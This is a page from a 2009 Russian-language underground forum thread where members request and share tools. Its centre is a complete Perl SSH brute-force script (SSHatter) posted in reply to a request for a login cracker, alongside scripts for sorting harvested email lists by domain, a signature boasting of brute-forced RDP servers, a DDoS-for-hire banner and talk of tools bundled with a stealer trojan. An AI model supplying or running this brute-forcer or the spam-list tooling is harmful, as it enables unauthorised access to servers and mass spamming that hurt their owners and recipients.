Запросы на написание программ - Страница 3 - Proxy-Base Community - Анонимность и безопасность в интернете.
Бесплатные прокси. Количество:
Прокси для пользователей форума (API). Количество:
Купить доступ к прокси-листам (API). Количество:
 



Информация по хайдам / репутации

(РЕКОМЕНДУЮ) №1 >>>DDos Атака<<|>>DDoS Service<<< ДДОС СЕРВИС<<|>>Заказать DDOS
Все инфопродукты и приватная информация бесплатно
Старый 03.08.2009, 07:36   #19 (permalink)
HTTP/S
 
Аватар для VareZzZ
 
Регистрация: 01.06.2009
Сообщений: 65
Member ID: 423

Репутация: 83
Репутация: 83
Сказал(а) спасибо: 102
Поблагодарили 83 раз(а) в 54 сообщениях
По умолчанию

Ранкор сказал что брутер SSH напишет за 30$
__________________
VareZzZ вне форума   Ответить с цитированием
Старый 03.08.2009, 07:56   #20 (permalink)
SOCKS5
 
Аватар для NekitoSP
 
Регистрация: 28.05.2009
Сообщений: 204
Member ID: 352

Репутация: 353
Репутация: 353
Сказал(а) спасибо: 317
Поблагодарили 343 раз(а) в 152 сообщениях
По умолчанию

VareZzZ, дело твоё, но не надо тут оффтопить! для этого есть соответствующий раздел!
shnurd, лови, и не забывай жать Спасибку ))

P.S. ВСЕ КТО СЧИТАЕТ ЧТО Я КЛЕЮ КАЖДЫЙ ФАЙЛ С ПИНЧЕМ - ИДИТЕ НАХ!
Но если же вам попалась одна из моих прог с троем - значит кто-то уже постарался.
хотите мои нормальные проги - не берите их из 3-их рук!!! все проги абсолюно сразуже после их написания сжимаются UPX,ом, и в .rar архив с максимальным сжатием!!!! не верите - ваше дело!!!!
Вложения
Тип файла: rar EMailParser.rar (168.1 Кб, 37 просмотров)

Последний раз редактировалось NekitoSP; 03.08.2009 в 08:01.
NekitoSP вне форума   Ответить с цитированием
4 пользователя(ей) сказали cпасибо:
Старый 03.08.2009, 08:07   #21 (permalink)
BBC
Твой друг
 
Регистрация: 20.05.2009
Адрес: proxy-base.org
Сообщений: 381
Member ID: 173

Репутация: 401
Репутация: 401
Сказал(а) спасибо: 429
Поблагодарили 284 раз(а) в 160 сообщениях
По умолчанию

Цитата:
Сообщение от VareZzZ Посмотреть сообщение
Нужен брутер SSH для Win32. На чем написан не важно, хоть на C+ хоть на Delphi, не важно главное чтобы работал на Windows, можно даже скрипт на Perl'е. Брут должен брутить на логин и пароль.
Какое-то перлоподелье:
PHP код:
#!/usr/bin/perl -w
# $Header: /var/lib/cvsd/var/lib/cvsd/SSHatter/src/SSHatter.pl,v 1.9 2007-10-06 15:01:57 timb Exp $
#
# Redistribution and use in source and binary forms, with or without
# modification, are permitted provided that the following conditions are met:
#
# * Redistributions of source code must retain the above copyright notice, this
# list of conditions and the following disclaimer.
# * Redistributions in binary form must reproduce the above copyright notice,
# this list of conditions and the following disclaimer in the documentation
# and/or other materials provided with the distribution.
# * Neither the name of the Nth Dimension nor the names of its contributors may
# be used to endorse or promote products derived from this software without
# specific prior written permission.
#
# THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
# AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
# IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
# ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE
# LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
# CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF
# SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS
# INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN
# CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)
# ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
# POSSIBILITY OF SUCH DAMAGE.
#
# (c) Tim Brown, 2007
# <mailto:timb@nth-dimension.org.uk>
# <http://www.nth-dimension.org.uk/> / <http://www.machine.org.uk/>

use strict;
use 
Parallel::ForkManager;
use 
Net::SSH::Perl;
use 
Time::HiRes qw(gettimeofday);

my $maximumprocess;
my $targetserverfilename;
my $usernamefilename;
my $passwordfilename;
my $sleeptime;
my $timingflag;
my $forkmanager;
my $usernamefilehandle;
my $username;
my $passwordfilehandle;
my $password;
my $targetserverfilehandle;
my $targetserver;
my $processid;
my $hostname;
my $portnumber;
my $sshhandle;
my $testedflag;
my $starttime;

sub usage {
    die 
"usage: " . $" <maximumprocess> <targetserverfilename> <usernamefilename> <passwordfilename> <sleeptime> <timingflag>\n\tsleeptime: 0 - disable retries";
}

if (@
ARGV != 6) {
    die 
"usage: " . $" <maximumprocess> <targetserverfilename> <usernamefilename> <passwordfilename> <sleeptime> <timingflag>\n\tsleeptime: 0 - disable retries";
}
$maximumprocess shift;
$targetserverfilename shift;
$usernamefilename shift;
$passwordfilename shift;
$sleeptime shift;
$timingflag shift;
if (
$maximumprocess =~ /([0-9]+)/) {
    
$maximumprocess = $1;
} else {
    
usage();
}
if (! -
e $targetserverfilename) {
    
usage();
}
if (! -
e $usernamefilename) {
    
usage();
}
if (! -
e $passwordfilename) {
    
usage();
}
if (
$sleeptime =~ /([0-9]+)/) {
    
$sleeptime = $1;
} else {
    
usage();
}
if (
$timingflag =~ /([01])/) {
    
$sleeptime = $1;
} else {
    
usage();
}

$forkmanager = new Parallel::ForkManager($maximumprocess);
open($usernamefilehandle"<" $usernamefilename);
while (<
$usernamefilehandle>) {
    
$username $_;
    
$username =~ s/\x0a//g;
    
open($passwordfilehandle"<" $passwordfilename);
    while (<
$passwordfilehandle>) {
        
$password $_;
        
$password =~ s/\x0a//g;
        
open($targetserverfilehandle"<" $targetserverfilename);
        while (<
$targetserverfilehandle>) {
            
$targetserver $_;
            
$targetserver =~ s/\x0a//g;
            
$processid $forkmanager->start() and next;
            
$testedflag 0;
            (
$hostname$portnumber) = split(/:/, $targetserver);
            if (
$portnumber && ($portnumber =~ /([0-9]+)/)) {
                
$portnumber = $1;
                if ((
$portnumber <= 0) || ($portnumber 65535)) {
                    
$portnumber 22;
                }
            } else {
                
$portnumber 22;
            }
            print 
"[sshatter] trying " $username "@" $hostname ":" $portnumber "/" $password "\n";
            while (
$testedflag != 1) {
                eval {
                    
$sshhandle Net::SSH::Perl->new($hostnameport => $portnumber);
                };
                if ($@ 
ne "") {
                    print 
STDERR "Net::SSH::Perl->new() failed: " . $@;
                    if (
$sleeptime 0) {
                        
sleep($sleeptime);
                    } else {
                        
$testedflag 1;
                    }
                } else {
                    eval {
                        if (
$timingflag == 1) {
                            
$starttime gettimeofday();
                        }
                        
$sshhandle->login($username$password);
                        
$sshhandle->cmd("echo SSHatter");
                    };
                    if ($@ 
ne "") {
                        if (
$timingflag == 1) {
                            print 
"[sshatter] " $username "@" $hostname ":" $portnumber ":" sprintf("%.4f"gettimeofday() - $starttime) .  " seconds elapsed\n";
                        }
                        if ($@ !~ /
Permission denied/) {
                            print 
STDERR "Net::SSH::Perl->cmd() failed: " . $@;
                            if (
$sleeptime 0) {
                                
sleep($sleeptime);
                            } else {
                                
$testedflag 1;
                            }
                        } else {
                            
$testedflag 1;
                        }
                    } else {
                        print 
"[sshatter] " $username "@" $hostname ":" $portnumber ":" sprintf("%.4f"gettimeofday() - $starttime) .  " seconds elapsed\n";
                        print 
"[sshatter] " $username "@" $hostname ":" $portnumber "/" $password ":success\n";
                        
$testedflag 1;
                    }
                }
            }
            
$forkmanager->finish();
        }
        
close($targetserverfilehandle);
    }
    
close($passwordfilehandle);
}
close($usernamefilehandle);
$forkmanager->wait_all_children();
exit(
1); 
А ваще на томже делфи есть компоненты для SSH, имхо можно реализовать.
__________________
Если ты нажмешь кнопку "спасибо" под этим сообщением, то ты сильно об этом пожалеешь. Лучше даже не пробуй.
Все прокси проверены при помощи DiChecker
Все деды сбручены с помощью RDP Brute
Хочешь найти все мои сообщения? Тыкай сюда

Спамеры- мои враги.
BBC
BBC вне форума   Ответить с цитированием
Старый 03.08.2009, 08:12   #22 (permalink)
Proxy-Base.Org Team
 
Регистрация: 19.05.2009
Сообщений: 960
Member ID: 147

Репутация: 2374
Репутация: 2374
Сказал(а) спасибо: 894
Поблагодарили 2,054 раз(а) в 713 сообщениях
По умолчанию

ну я не знаю NekitoS - красава, делаешь успехи))
на счёт того, что ругаются антивирусы на твой софт, дам совет, лучше пока пусть программы весят больше, чем народ не будет придераться к ним, а как найдешь, чем нормально сжать софт, тогда уже и о весе можно заботиться, но опять же на своё усмотрение делай)
hide вне форума   Ответить с цитированием
Старый 03.08.2009, 08:28   #23 (permalink)
SOCKS5
 
Аватар для NekitoSP
 
Регистрация: 28.05.2009
Сообщений: 204
Member ID: 352

Репутация: 353
Репутация: 353
Сказал(а) спасибо: 317
Поблагодарили 343 раз(а) в 152 сообщениях
По умолчанию

hide, вирусов в моём софте еще не находили, это прост предупреждение. А сжимать я буду в любом случае, т.к у мя не анлим!!

Последний раз редактировалось NekitoSP; 03.08.2009 в 08:34.
NekitoSP вне форума   Ответить с цитированием
Старый 03.08.2009, 08:36   #24 (permalink)
Proxy-Base.Org Team
 
Регистрация: 19.05.2009
Сообщений: 960
Member ID: 147

Репутация: 2374
Репутация: 2374
Сказал(а) спасибо: 894
Поблагодарили 2,054 раз(а) в 713 сообщениях
По умолчанию

тогда у меня новая просьба, нужен софт немного отличающийся от того, который попросил shnurd, мне нужен сортировщик баз мыл по доменам, попробовал тем, что написал для shnurd'a не робит. Или кто паблик найдёт выложите, вчера полдня искал.
hide вне форума   Ответить с цитированием
Старый 03.08.2009, 08:52   #25 (permalink)
SOCKS5
 
Аватар для NekitoSP
 
Регистрация: 28.05.2009
Сообщений: 204
Member ID: 352

Репутация: 353
Репутация: 353
Сказал(а) спасибо: 317
Поблагодарили 343 раз(а) в 152 сообщениях
По умолчанию

переписать 10 мин займёт. за комп сяду сделаю. кст. мылы в каком формате?
...
hide, вот держи!
все что после @, то считается названием файла. списки должны быть в формате
login@domain.ru(.com,net и т.д )
Вложения
Тип файла: rar EMailParser.rar (168.0 Кб, 32 просмотров)

Последний раз редактировалось NekitoSP; 03.08.2009 в 12:03.
NekitoSP вне форума   Ответить с цитированием
3 пользователя(ей) сказали cпасибо:
Старый 03.08.2009, 14:29   #26 (permalink)
Proxy-Base.Org Team
 
Регистрация: 19.05.2009
Сообщений: 960
Member ID: 147

Репутация: 2374
Репутация: 2374
Сказал(а) спасибо: 894
Поблагодарили 2,054 раз(а) в 713 сообщениях
По умолчанию

при больших списках подвисает и если в строке нету символа @, то парсер отказывается работать.
нашёл не плохой сортировщик на пёрле, может поможет:
PHP код:
#! /usr/bin/perl -w

undef %saw;
open (FILE "<emails.txt");
chomp(@email = <FILE>);
@
email grep(!$saw{$_}++, @email);
close FILE;

while (@
email){
(
$login,$domain) = split /@/, shift @email;
open (EMAIL ">>$domain.txt");
print 
EMAIL "$login\@$domain\n";
}
close EMAIL
hide вне форума   Ответить с цитированием
Старый 03.08.2009, 14:53   #27 (permalink)
SOCKS5
 
Аватар для NekitoSP
 
Регистрация: 28.05.2009
Сообщений: 204
Member ID: 352

Репутация: 353
Репутация: 353
Сказал(а) спасибо: 317
Поблагодарили 343 раз(а) в 152 сообщениях
По умолчанию

а как тогда запись можно называть емайлом, ес там нет символа @ ? :-D
NekitoSP вне форума   Ответить с цитированием
Ответ

Опции темы Поиск в этой теме
Поиск в этой теме:

Расширенный поиск
Опции просмотра

Ваши права в разделе
Вы не можете создавать новые темы
Вы не можете отвечать в темах
Вы не можете прикреплять вложения
Вы не можете редактировать свои сообщения

BB коды Вкл.
Смайлы Вкл.
[IMG] код Вкл.
HTML код Выкл.
Trackbacks are Вкл.
Pingbacks are Вкл.
Refbacks are Вкл.


Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
Карта программ и информации. Smarthuman Информация об ICQ 1 07.03.2010 16:13
Пакет программ "Спамер 2009 плюс SsIDit E-mail 1 18.02.2010 19:23




DDoS Protected




Мы в твиттере, Proxy-Base.Org Twitter

Proxy-Base Community - Анонимность и безопасность в интернете.
Наши партнеры: CRC Labs, SEO-Crack.Com, Garsuk.Com, SED Team, Skladchik.com, BSS Family

Powered by vBulletin® | Булка сделана в пекарне®
Copyright © 2000 - , Jelsoft Enterprises Ltd. Перевод: zCarot
Вся информация на сайте выложена исключительно в ознакомительных целях.